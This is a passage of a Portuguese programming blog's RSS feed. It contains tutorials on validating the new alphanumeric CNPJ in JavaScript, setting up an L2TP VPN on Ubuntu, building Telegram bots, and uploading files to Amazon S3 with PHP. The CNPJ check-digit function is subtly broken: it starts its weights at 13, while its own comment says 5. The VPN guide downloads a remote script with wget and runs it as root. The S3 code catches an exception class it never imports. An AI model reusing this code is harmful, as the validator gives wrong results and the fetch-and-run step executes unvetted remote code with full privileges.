  const cnpj = input.replace(/&#091;^0-9A-Za-z]/g, &#039;&#039;).toUpperCase();
  if (!/^&#091;0-9A-Z]{14}$/.test(cnpj)) return false;

  // Converte caractere para valor: código ASCII - 48
  const toValue = ch =&gt; ch.charCodeAt(0) - 48;

  // Função que calcula um DV (1 ou 2)
  function calcDv(len) {
    let peso = len + 1; // para len=12, peso inicial é 5; para len=13, peso=6
    const soma = cnpj
      .slice(0, len)
      .split(&#039;&#039;)
      .map(toValue)
      .reduce((acc, val) =&gt; {
        acc += val * peso;
        peso = peso &gt; 2 ? peso - 1 : 9;
        return acc;
      }, 0);
    const resto = soma % 11;
    return resto &lt; 2 ? 0 : 11 - resto;
  }

  // Calcula os dois dígitos verificadores
  const dv1 = calcDv(12);
  const dv2 = calcDv(13);

  // Compara com os dois últimos dígitos do input
  return dv1 === toValue(cnpj&#091;12]) &amp;&amp; dv2 === toValue(cnpj&#091;13]);
}

// Exemplo de uso:
console.log(validaCnpjAlpha(&#039;12.ABC.345/01DE-35&#039;)); // true ou false</code></pre>



<h3 class="wp-block-heading">2. Mudança nas mascaras de input</h3>



<p>Com a entrada de letras, as máscaras de campos de CNPJ em formulários e aplicativos precisam ser revisadas:</p>



<ul class="wp-block-list">
<li><strong>Bibliotecas JavaScript/Vue/Angular</strong>: atualize plugins como <em>mask.js</em> para aceitar <code>[0-9A-Za-z]</code> em todas as posições – não apenas dígitos.</li>



<li><strong>React (IMask)</strong>: configure o <em>pattern</em> para alfanumérico e garanta a conversão automática para maiúsculas, evitando inconsistências de case.</li>



<li><strong>UX/UI</strong>: ofereça feedback claro ao usuário sobre o formato (ex.: <code>XX.XXX.XXX/YYYY-00</code>). Considere usar placeholders dinâmicos que exibam letras e números.</li>
</ul>



<p>Essas mudanças exigem testes end‑to‑end (Selenium, Cypress) para garantir que fluxos de cadastro e edição continuem funcionando sem erros.</p>



<h3 class="wp-block-heading">3. Banco de Dados com VARCHAR</h3>



<p>Sistemas que atualmente definem o campo de CNPJ como <code>INT</code> ou <code>BIGINT</code> devem migrar para tipos de texto:</p>



<ul class="wp-block-list">
<li><strong>VARCHAR(14)</strong> ou <strong>CHAR(14)</strong> (12 alfanuméricos + 2 numéricos): garante espaço exato e evita desperdício.</li>



<li><strong>Índices</strong>: recrie índices baseados em strings e avalie o desempenho em consultas que utilizam <code>LIKE</code>, <code>=</code>, ou ordenação. Em bancos muito volumosos, pode ser necessário particionamento ou índices parciais.</li>
</ul>



<p>Planeje a migração de dados com scripts SQL que convertam registros antigos para o novo padrão, incluindo rotinas de validação de integridade.</p>



<h3 class="wp-block-heading">4. Regex e Validações em Código</h3>



<p>Muitos sistemas usam expressões regulares para extrair ou validar CNPJ em strings (logs, relatórios, integrações). Atualize-as para algo que vai validar se oque foi digitado é um CNPJ valído com:</p>



<pre class="wp-block-code"><code>/^&#091;A-Za-z0-9]{2}\.&#091;A-Za-z0-9]{3}\.&#091;A-Za-z0-9]{3}\/&#091;A-Za-z0-9]{4}-\d{2}$/</code></pre>



<p>Localize todos os artefatos de regex (busca em repositórios, IDEs) e adeque-os para evitar falhas silenciosas em processos automáticos.</p>



<h2 class="wp-block-heading">Conclusão e Boas Práticas</h2>



<p>A adoção do CNPJ alfanumérico é inevitável diante do crescimento das empresas no país. Para mitigar riscos:</p>



<ol class="wp-block-list">
<li><strong>Planeje versões</strong>: use feature flags para alternar validações.</li>



<li><strong>Crie ambientes de homologação</strong>: inclua casos de teste com letras em processos críticos.</li>



<li><strong>Documente mudanças</strong>: atualize guias de estilo e manuais de API.</li>



<li><strong>Automatize migrações</strong>: scripts SQL e pipelines de dados devem rodar sem intervenção manual.</li>



<li><strong>Comunique stakeholders</strong>: informe times de desenvolvimento, QA, operação e parceiros externos.</li>
</ol>



<p>Com esses cuidados, seu sistema estará preparado para lidar com o novo padrão de CNPJ, garantindo integridade, performance e compatibilidade.</p>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/cnpj-alfanumerico-desafios-e-impactos-nos-sistemas-atuais/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1213</post-id>	</item>
		<item>
		<title>Como Configurar uma VPN L2TP no Ubuntu Server</title>
		<link>https://www.manualdoprogramador.com/como-configurar-uma-vpn-l2tp-no-ubuntu-server/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=como-configurar-uma-vpn-l2tp-no-ubuntu-server</link>
					<comments>https://www.manualdoprogramador.com/como-configurar-uma-vpn-l2tp-no-ubuntu-server/#respond</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Fri, 29 Nov 2024 22:06:05 +0000</pubDate>
				<category><![CDATA[Cloud Computing]]></category>
		<category><![CDATA[Infraestrutura]]></category>
		<category><![CDATA[Administração de Servidores]]></category>
		<category><![CDATA[Configuração de VPN]]></category>
		<category><![CDATA[Firewall]]></category>
		<category><![CDATA[Guia de Configuração]]></category>
		<category><![CDATA[IPsec]]></category>
		<category><![CDATA[L2TP]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Manual do Programador]]></category>
		<category><![CDATA[Redes]]></category>
		<category><![CDATA[Segurança de Rede]]></category>
		<category><![CDATA[tecnologia]]></category>
		<category><![CDATA[TI e Infraestrutura]]></category>
		<category><![CDATA[Tutoriais Linux]]></category>
		<category><![CDATA[Ubuntu Server]]></category>
		<category><![CDATA[VPN]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1207</guid>

					<description><![CDATA[Criar uma VPN L2TP no Ubuntu Server pode parecer desafiador à primeira vista, mas com os passos corretos, você terá [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Criar uma VPN L2TP no Ubuntu Server pode parecer desafiador à primeira vista, mas com os passos corretos, você terá sua conexão configurada e segura rapidamente. Este guia detalha todo o processo, desde a atualização do sistema até a criação de usuários adicionais para a VPN.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Passo 1: Preparando o Servidor</strong></h3>



<p>Acesse seu servidor como administrador (root):</p>



<pre class="wp-block-preformatted">sudo su -</pre>



<p>Atualize o sistema operacional para garantir que tudo está atualizado e compatível:</p>



<pre class="wp-block-preformatted">apt-get update -y &amp;&amp; apt-get upgrade -y &amp;&amp; apt-get dist-upgrade -y</pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Passo 2: Baixando o Script de Configuração</strong></h3>



<p>Utilizaremos um script para configurar automaticamente a VPN. Baixe o script:</p>



<pre class="wp-block-preformatted">wget https://get.vpnsetup.net -O vpn.sh</pre>



<p>Antes de executá-lo, abra o script para editar as configurações básicas:</p>



<pre class="wp-block-preformatted">vi vpn.sh</pre>



<p><strong>Edite as seguintes variáveis no script:</strong></p>



<ul class="wp-block-list">
<li>Adicione a <strong>chave pré-compartilhada (PSK)</strong>.</li>



<li>Configure o nome do <strong>usuário principal</strong> e sua <strong>senha</strong>.</li>
</ul>



<p>Depois de configurar, salve e saia do editor (no&nbsp;<code>vi</code>, digite&nbsp;<code>:wq</code>&nbsp;e pressione Enter).</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Passo 3: Executando o Script</strong></h3>



<p>Com as configurações prontas, execute o script para configurar a VPN:</p>



<pre class="wp-block-preformatted">sh vpn.sh<br></pre>



<p>Esse script configurará os serviços necessários, como o <strong>IPsec</strong> e o <strong>L2TP</strong>, além de ajustar as permissões.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Passo 4: Adicionando Usuários Adicionais</strong></h3>



<p>Se você precisar criar novos usuários para acessar a VPN, use o seguinte comando:</p>



<pre class="wp-block-preformatted">addvpnuser.sh 'usuario01' 'senha01'</pre>



<p>Substitua <code>&#039;usuario01&#039;</code> e <code>&#039;senha01&#039;</code> pelos dados do novo usuário.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Passo 5: Liberando Portas no Firewall</strong></h3>



<p>Certifique-se de que as portas necessárias para a VPN estão abertas no firewall. As portas que precisam estar liberadas são:</p>



<ul class="wp-block-list">
<li><strong>Porta 500 UDP</strong> (IKEv1/IKEv2)</li>



<li><strong>Porta 4500 UDP</strong> (NAT-T)</li>
</ul>



<p>Se você utiliza o&nbsp;<code>ufw</code>, execute os comandos abaixo:</p>



<pre class="wp-block-preformatted">ufw allow 500/udp<br>ufw allow 4500/udp<br>ufw reload</pre>



<p>Caso utilize outra ferramenta de firewall, ajuste as configurações conforme necessário.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Dicas Finais</strong></h3>



<ul class="wp-block-list">
<li>Após a configuração, você pode conectar dispositivos Windows, macOS, Android ou iOS à VPN utilizando o IP do servidor, a chave pré-compartilhada (PSK) e as credenciais de usuário criadas.</li>



<li><strong>Teste a conexão</strong> para garantir que a VPN está funcionando corretamente.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Conclusão</strong></h3>



<p>Com esses passos, você terá uma VPN L2TP funcionando de forma eficiente e segura no Ubuntu Server. Isso pode ser útil para acessar recursos remotos, proteger conexões públicas ou até mesmo criar um ambiente de trabalho seguro para sua equipe.</p>



<p>Se você encontrou algum problema ou tem dúvidas, compartilhe nos comentários! <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/como-configurar-uma-vpn-l2tp-no-ubuntu-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1207</post-id>	</item>
		<item>
		<title>Como criar um bot no Telegram e integrar com linguagens de programação</title>
		<link>https://www.manualdoprogramador.com/neste-post-voce-vai-aprender-como-criar-um-bot-no-telegram-e-integra-lo-com-linguagens-de-programacao-como-python-e-javascript-o-tutorial-inclui-dois-exemplos-praticos-um-para-enviar-alertas-via-we/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=neste-post-voce-vai-aprender-como-criar-um-bot-no-telegram-e-integra-lo-com-linguagens-de-programacao-como-python-e-javascript-o-tutorial-inclui-dois-exemplos-praticos-um-para-enviar-alertas-via-we</link>
					<comments>https://www.manualdoprogramador.com/neste-post-voce-vai-aprender-como-criar-um-bot-no-telegram-e-integra-lo-com-linguagens-de-programacao-como-python-e-javascript-o-tutorial-inclui-dois-exemplos-praticos-um-para-enviar-alertas-via-we/#comments</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Thu, 15 Aug 2024 00:59:30 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[#APIs]]></category>
		<category><![CDATA[#Automação]]></category>
		<category><![CDATA[#Bot]]></category>
		<category><![CDATA[#Chatbot]]></category>
		<category><![CDATA[#Programação]]></category>
		<category><![CDATA[#TelegramBot]]></category>
		<category><![CDATA[#Webhooks]]></category>
		<category><![CDATA[desenvolvimento]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1183</guid>

					<description><![CDATA[Neste post, você vai aprender como criar um bot no Telegram e integrá-lo com linguagens de programação como Python e JavaScript. O tutorial inclui dois exemplos práticos: um para enviar alertas via webhook e outro para criar um chatbot que responde a comandos. O guia é fácil de seguir e vai te ajudar a explorar as funcionalidades dos bots do Telegram, desde a criação até a interação com usuários.]]></description>
										<content:encoded><![CDATA[
<h4 class="wp-block-heading">Introdução</h4>



<p>E aí, pessoal! Se você sempre quis criar um bot no Telegram, mas achou que seria complicado, estou aqui para mostrar que é bem mais fácil do que parece. Neste post, vou te ensinar como criar um bot e fazer duas integrações diferentes: uma para enviar alertas via webhook e outra para criar um chatbot que conversa e responde. Vamos nessa?</p>



<h4 class="wp-block-heading">Passo 1: Criando o bot no Telegram</h4>



<ol class="wp-block-list">
<li><strong>Abra o Telegram e encontre o BotFather</strong>. O BotFather é o cara que vai te ajudar a criar e gerenciar o seu bot. Basta procurar por ele na busca do Telegram e iniciar uma conversa.</li>



<li><strong>Crie o bot com o comando <code>/newbot</code></strong>. O BotFather vai pedir um nome e um username para o bot. Lembre-se que o username precisa ser único e terminar com &#8220;bot&#8221; (por exemplo, <code>MeuBotLegal</code>).</li>



<li><strong>Guarde o token de acesso</strong>. Após configurar tudo, o BotFather vai te dar um token. Esse token é a chave que permite que você controle o bot via código</li>
</ol>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="630" height="540" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image.png?resize=630%2C540&#038;ssl=1" alt="" class="wp-image-1185" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image.png?w=630&amp;ssl=1 630w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image.png?resize=300%2C257&amp;ssl=1 300w" sizes="(max-width: 630px) 100vw, 630px" /></figure>



<h4 class="wp-block-heading">Passo 2: Pegando o chat_id</h4>



<p>Antes de começar a enviar mensagens ou configurar o bot para responder, você precisa pegar o <code>chat_id</code>, que é o identificador do chat onde o bot vai enviar mensagens.</p>



<p><strong>Use a API do Telegram para pegar o <code>chat_id</code></strong>. Você pode pegar o <code>chat_id</code> usando o seguinte script:</p>



<h5 class="wp-block-heading">Python</h5>



<p><strong>Inicie uma conversa com o seu bot</strong>. Abra o chat com o seu bot no Telegram e envie uma mensagem, qualquer coisa, só para iniciar a interação.</p>



<pre class="wp-block-code"><code>import requests

# Substitua pelo seu token
TOKEN = &#039;seu_token_aqui&#039;

# Pega as últimas atualizações do bot
response = requests.get(f&#039;https://api.telegram.org/bot{TOKEN}/getUpdates&#039;).json()

# Extrai o chat_id da resposta
chat_id = response&#091;&#039;result&#039;]&#091;0]&#091;&#039;message&#039;]&#091;&#039;chat&#039;]&#091;&#039;id&#039;]
print(f&#039;Seu chat_id é: {chat_id}&#039;)
</code></pre>



<h5 class="wp-block-heading">JavaScript (Node.js)</h5>



<pre class="wp-block-code"><code>const axios = require(&#039;axios&#039;);
const token = &#039;seu_token_aqui&#039;;

axios.get(`https://api.telegram.org/bot${token}/getUpdates`)
  .then(response =&gt; {
    const chatId = response.data.result&#091;0].message.chat.id;
    console.log(&#039;Seu chat_id é: &#039;, chatId);
  })
  .catch(error =&gt; {
    console.error(&#039;Erro ao pegar chat_id: &#039;, error);
  });</code></pre>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="438" height="185" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-2.png?resize=438%2C185&#038;ssl=1" alt="" class="wp-image-1187" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-2.png?w=438&amp;ssl=1 438w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-2.png?resize=300%2C127&amp;ssl=1 300w" sizes="(max-width: 438px) 100vw, 438px" /></figure>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="509" height="142" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-3.png?resize=509%2C142&#038;ssl=1" alt="" class="wp-image-1188" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-3.png?w=509&amp;ssl=1 509w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-3.png?resize=300%2C84&amp;ssl=1 300w" sizes="(max-width: 509px) 100vw, 509px" /></figure>



<p><strong>Anote o <code>chat_id</code></strong>. Execute o script acima e você verá o <code>chat_id</code> no console. Anote esse ID porque você vai usá-lo nos próximos passos.</p>



<h4 class="wp-block-heading">Passo 3: Exemplo 1 &#8211; Enviando alertas via webhook</h4>



<p>Agora que você tem o <code>chat_id</code>, vamos começar com algo simples: enviar alertas pro Telegram usando um webhook. Isso é útil quando você quer ser notificado automaticamente sobre alguma coisa, tipo um erro no seu sistema.</p>



<h5 class="wp-block-heading">Python</h5>



<p><strong>Instale a biblioteca <code>requests</code></strong>.</p>



<pre class="wp-block-code"><code>pip install requests</code></pre>



<p><strong>Crie um script para enviar mensagens</strong>.</p>



<pre class="wp-block-code"><code>import requests

# Token e ID do chat
TOKEN = &#039;seu_token_aqui&#039;
CHAT_ID = &#039;seu_chat_id_aqui&#039;

def enviar_alerta(mensagem):
    url = f&#039;https://api.telegram.org/bot{TOKEN}/sendMessage&#039;
    data = {&#039;chat_id&#039;: CHAT_ID, &#039;text&#039;: mensagem}
    requests.post(url, data=data)

enviar_alerta(&#039;&#x26a0; Alerta: Algo deu errado no sistema!&#039;)</code></pre>



<h5 class="wp-block-heading">JavaScript (Node.js)</h5>



<p><strong>Instale o <code>axios</code> para fazer as requisições</strong>.</p>



<pre class="wp-block-code"><code>npm install axios</code></pre>



<p><strong>Crie um script básico para enviar alertas</strong>.</p>



<pre class="wp-block-code"><code>const axios = require(&#039;axios&#039;);
const token = &#039;seu_token_aqui&#039;;
const chatId = &#039;seu_chat_id_aqui&#039;;
const message = &#039;&#x26a0; Alerta: Algo deu errado no sistema!&#039;;

axios.post(`https://api.telegram.org/bot${token}/sendMessage`, {
    chat_id: chatId,
    text: message
}).then(response =&gt; {
    console.log(&#039;Mensagem enviada: &#039;, response.data);
}).catch(error =&gt; {
    console.error(&#039;Erro ao enviar mensagem: &#039;, error);
});</code></pre>



<h5 class="wp-block-heading"><strong>Execute o script e teste o envio do alerta</strong>.</h5>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="367" height="194" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-4.png?resize=367%2C194&#038;ssl=1" alt="" class="wp-image-1189" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-4.png?w=367&amp;ssl=1 367w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-4.png?resize=300%2C159&amp;ssl=1 300w" sizes="(max-width: 367px) 100vw, 367px" /></figure>



<h4 class="wp-block-heading">Passo 4: Exemplo 2 &#8211; Criando um chatbot com interação</h4>



<p>Agora, vamos deixar o negócio mais interessante: vamos criar um bot que responde às mensagens que você enviar para ele.</p>



<h5 class="wp-block-heading">Python</h5>



<p><strong>Instale a biblioteca <code>python-telegram-bot</code></strong>.</p>



<pre class="wp-block-code"><code>pip install python-telegram-bot</code></pre>



<p><strong>Crie um bot que responde a comandos</strong>.</p>



<pre class="wp-block-code"><code>from telegram import Update
from telegram.ext import Application, CommandHandler

# Token do Bot
TOKEN = &#039;seu_token_aqui&#039;

async def start(update: Update, context):
    await update.message.reply_text(&#039;Oi! Como posso ajudar?&#039;)

async def help_command(update: Update, context):
    await update.message.reply_text(&#039;Aqui está a lista de comandos: /start, /help&#039;)

if __name__ == &#039;__main__&#039;:
    # Cria a aplicação e adiciona os handlers
    application = Application.builder().token(TOKEN).build()

    application.add_handler(CommandHandler(&quot;start&quot;, start))
    application.add_handler(CommandHandler(&quot;help&quot;, help_command))

    # Inicia o bot
    application.run_polling()</code></pre>



<h5 class="wp-block-heading">JavaScript (Node.js)</h5>



<p><strong>Instale a biblioteca <code>node-telegram-bot-api</code></strong>.</p>



<pre class="wp-block-code"><code>npm install node-telegram-bot-api</code></pre>



<p><strong>Crie um bot que responde aos comandos</strong>.</p>



<pre class="wp-block-code"><code>const TelegramBot = require(&#039;node-telegram-bot-api&#039;);
const token = &#039;seu_token_aqui&#039;;
const bot = new TelegramBot(token, {polling: true});

bot.onText(/\/start/, (msg) =&gt; {
    bot.sendMessage(msg.chat.id, &quot;Oi! Como posso ajudar?&quot;);
});

bot.onText(/\/help/, (msg) =&gt; {
    bot.sendMessage(msg.chat.id, &quot;Aqui está a lista de comandos: /start, /help&quot;);
});</code></pre>



<h5 class="wp-block-heading"><strong>Teste a interação com o seu bot</strong>.</h5>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="504" height="258" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-5.png?resize=504%2C258&#038;ssl=1" alt="" class="wp-image-1190" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-5.png?w=504&amp;ssl=1 504w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-5.png?resize=300%2C154&amp;ssl=1 300w" sizes="(max-width: 504px) 100vw, 504px" /></figure>



<h4 class="wp-block-heading">Considerações finais</h4>



<p>Pronto! Agora você sabe como criar um bot no Telegram, tanto para enviar alertas via webhook quanto para criar um chatbot interativo. Com esses exemplos, você pode começar a explorar mais funcionalidades e personalizar seu bot para fazer o que você quiser. Adicione suas capturas de tela onde indicado e compartilhe com a galera o que você criou!</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><strong>Dica:</strong> Sempre proteja o token do seu bot e evite compartilhá-lo publicamente para garantir a segurança.</p>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/neste-post-voce-vai-aprender-como-criar-um-bot-no-telegram-e-integra-lo-com-linguagens-de-programacao-como-python-e-javascript-o-tutorial-inclui-dois-exemplos-praticos-um-para-enviar-alertas-via-we/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1183</post-id>	</item>
		<item>
		<title>Como Subir e Gerenciar Arquivos no Amazon S3 Usando PHP e Por Que Configurar uma Distribuição do CloudFront</title>
		<link>https://www.manualdoprogramador.com/como-subir-e-gerenciar-arquivos-no-amazon-s3-usando-php-e-por-que-configurar-uma-distribuicao-do-cloudfront/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=como-subir-e-gerenciar-arquivos-no-amazon-s3-usando-php-e-por-que-configurar-uma-distribuicao-do-cloudfront</link>
					<comments>https://www.manualdoprogramador.com/como-subir-e-gerenciar-arquivos-no-amazon-s3-usando-php-e-por-que-configurar-uma-distribuicao-do-cloudfront/#respond</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Sun, 11 Aug 2024 14:03:14 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Amazon S3]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cacheamento]]></category>
		<category><![CDATA[CDN]]></category>
		<category><![CDATA[CloudFront]]></category>
		<category><![CDATA[desenvolvimento web]]></category>
		<category><![CDATA[Gerenciamento de Arquivos]]></category>
		<category><![CDATA[Otimização de Custos]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programação]]></category>
		<category><![CDATA[Upload de Arquivos]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1167</guid>

					<description><![CDATA[Aprenda a criar um sistema PHP para gerenciar arquivos no Amazon S3, utilizando boas práticas de desenvolvimento e segurança. Este post também explora como a configuração de uma distribuição do CloudFront pode otimizar o acesso aos arquivos, reduzindo custos e melhorando a performance da sua aplicação. Descubra como fazer upload de arquivos via $_FILES e as vantagens de utilizar o CloudFront para cache e redução de custos de acesso.]]></description>
										<content:encoded><![CDATA[
<p>Com a crescente necessidade de armazenar arquivos na nuvem, o Amazon S3 (Simple Storage Service) se destaca como uma solução robusta e escalável. Neste post, vamos te guiar na criação de um sistema PHP para gerenciar arquivos no S3, utilizando boas práticas de desenvolvimento e segurança. Além disso, vamos explorar como a configuração de uma distribuição do Amazon CloudFront pode otimizar o acesso aos seus arquivos, reduzindo custos e melhorando a performance.</p>



<h4 class="wp-block-heading">Visão Geral</h4>



<p>O Amazon S3 é amplamente utilizado para armazenamento de arquivos, enquanto o Amazon CloudFront pode ser empregado para entrega de conteúdo de forma rápida e segura. Aqui, vamos configurar um projeto PHP para realizar uploads no S3, obter URLs através do CloudFront, e discutir as vantagens de usar o CloudFront para acessar seus arquivos.</p>



<h4 class="wp-block-heading">Estrutura do Projeto</h4>



<p>Seu projeto será estruturado da seguinte forma:</p>



<pre class="wp-block-code"><code>project/
├── src/
│   ├── S3Manager.php
│   └── example.php
├── .env
├── composer.json
└── README.md</code></pre>



<h4 class="wp-block-heading">Dependências Necessárias</h4>



<p>Antes de começar, certifique-se de ter o Composer instalado, pois ele gerenciará as dependências do seu projeto PHP. No arquivo <code>composer.json</code>, adicione as seguintes dependências:</p>



<pre class="wp-block-code"><code>{
    &quot;require&quot;: {
        &quot;aws/aws-sdk-php&quot;: &quot;^3.0&quot;,
        &quot;vlucas/phpdotenv&quot;: &quot;^5.4&quot;
    }
}</code></pre>



<p>Em seguida, instale as dependências:</p>



<pre class="wp-block-code"><code>composer install</code></pre>



<h4 class="wp-block-heading">Configurando Variáveis de Ambiente</h4>



<p>Utilize um arquivo <code>.env</code> para gerenciar configurações sensíveis, como chaves de acesso AWS. O conteúdo do seu arquivo <code>.env</code> deve ser algo como:</p>



<pre class="wp-block-preformatted">AWS_ACCESS_KEY_ID=your_access_key_id<br>AWS_SECRET_ACCESS_KEY=your_secret_access_key<br>AWS_REGION=your_aws_region<br>S3_BUCKET_NAME=your_s3_bucket_name<br>CLOUDFRONT_URL=https://your_cloudfront_distribution_url/</pre>



<h4 class="wp-block-heading">Criando a Classe de Gerenciamento de Arquivos no S3</h4>



<p>Crie a classe <code>S3Manager.php</code> para gerenciar uploads e recuperação de URLs:</p>



<pre class="wp-block-code"><code>&lt;?php

namespace App;

use Aws\S3\S3Client;
use Dotenv\Dotenv;

class S3Manager
{
    private $s3;
    private $bucket;
    private $cloudfrontUrl;

    public function __construct()
    {
        $dotenv = Dotenv::createImmutable(__DIR__ . &#039;/../&#039;);
        $dotenv-&gt;load();

        $this-&gt;bucket = $_ENV&#091;&#039;S3_BUCKET_NAME&#039;];
        $this-&gt;cloudfrontUrl = $_ENV&#091;&#039;CLOUDFRONT_URL&#039;];

        $this-&gt;s3 = new S3Client(&#091;
            &#039;version&#039; =&gt; &#039;latest&#039;,
            &#039;region&#039;  =&gt; $_ENV&#091;&#039;AWS_REGION&#039;],
            &#039;credentials&#039; =&gt; &#091;
                &#039;key&#039;    =&gt; $_ENV&#091;&#039;AWS_ACCESS_KEY_ID&#039;],
                &#039;secret&#039; =&gt; $_ENV&#091;&#039;AWS_SECRET_ACCESS_KEY&#039;],
            ],
        ]);
    }

    public function uploadFile($filePath, $key)
    {
        try {
            $result = $this-&gt;s3-&gt;putObject(&#091;
                &#039;Bucket&#039; =&gt; $this-&gt;bucket,
                &#039;Key&#039;    =&gt; $key,
                &#039;SourceFile&#039; =&gt; $filePath,
            ]);

            return $result&#091;&#039;ObjectURL&#039;];
        } catch (AwsException $e) {
            echo &quot;Error uploading file: &quot; . $e-&gt;getMessage();
            return false;
        }
    }

    public function getFileUrl($key)
    {
        return $this-&gt;cloudfrontUrl . $key;
    }

    public function uploadFromFiles($file, $key)
    {
        try {
            $result = $this-&gt;s3-&gt;putObject(&#091;
                &#039;Bucket&#039; =&gt; $this-&gt;bucket,
                &#039;Key&#039;    =&gt; $key,
                &#039;Body&#039;   =&gt; fopen($file&#091;&#039;tmp_name&#039;], &#039;rb&#039;),
                &#039;ACL&#039;    =&gt; &#039;public-read&#039;, // Optional: for public access
            ]);

            return $result&#091;&#039;ObjectURL&#039;];
        } catch (AwsException $e) {
            echo &quot;Error uploading file: &quot; . $e-&gt;getMessage();
            return false;
        }
    }
}</code></pre>



<h4 class="wp-block-heading">Exemplo de Uso</h4>



<p>Agora, você pode usar a classe <code>S3Manager</code> para fazer o upload de arquivos, tanto a partir de um caminho no sistema de arquivos quanto diretamente do <code>$_FILES</code>:</p>



<pre class="wp-block-code"><code>&lt;?php

require &#039;vendor/autoload.php&#039;;

use App\S3Manager;

$s3Manager = new S3Manager();

// Exemplo de upload de um arquivo existente
$filePath = &#039;/path/to/your/file.txt&#039;;
$key = &#039;uploads/file.txt&#039;;
$uploadUrl = $s3Manager-&gt;uploadFile($filePath, $key);

if ($uploadUrl) {
    echo &quot;File uploaded successfully. URL: &quot; . $uploadUrl . PHP_EOL;
}

// Exemplo de upload via $_FILES
if ($_FILES) {
    $file = $_FILES&#091;&#039;uploaded_file&#039;];
    $key = &#039;uploads/&#039; . basename($file&#091;&#039;name&#039;]);
    $uploadUrl = $s3Manager-&gt;uploadFromFiles($file, $key);

    if ($uploadUrl) {
        echo &quot;File uploaded successfully via \$_FILES. URL: &quot; . $uploadUrl . PHP_EOL;
    }
}

// Exemplo de obtenção da URL do arquivo via CloudFront
$fileUrl = $s3Manager-&gt;getFileUrl($key);
echo &quot;File URL via CloudFront: &quot; . $fileUrl . PHP_EOL;</code></pre>



<h3 class="wp-block-heading">Vantagem de Configurar uma Distribuição do CloudFront para S3</h3>



<p>Ao utilizar o Amazon S3 para armazenar seus arquivos, cada acesso a esses arquivos gera custos. Dependendo do volume de acessos, isso pode se tornar significativo. Uma maneira eficiente de reduzir esses custos e ainda melhorar a performance de sua aplicação é configurando uma distribuição do Amazon CloudFront.</p>



<p>O CloudFront é uma Content Delivery Network (CDN) da AWS que oferece várias vantagens:</p>



<ul class="wp-block-list">
<li><strong>Redução de Custos:</strong> Enquanto o S3 cobra por cada acesso aos seus arquivos, o CloudFront oferece um custo por acesso menor, o que pode resultar em economias consideráveis, especialmente para sites ou aplicações com alto tráfego.</li>



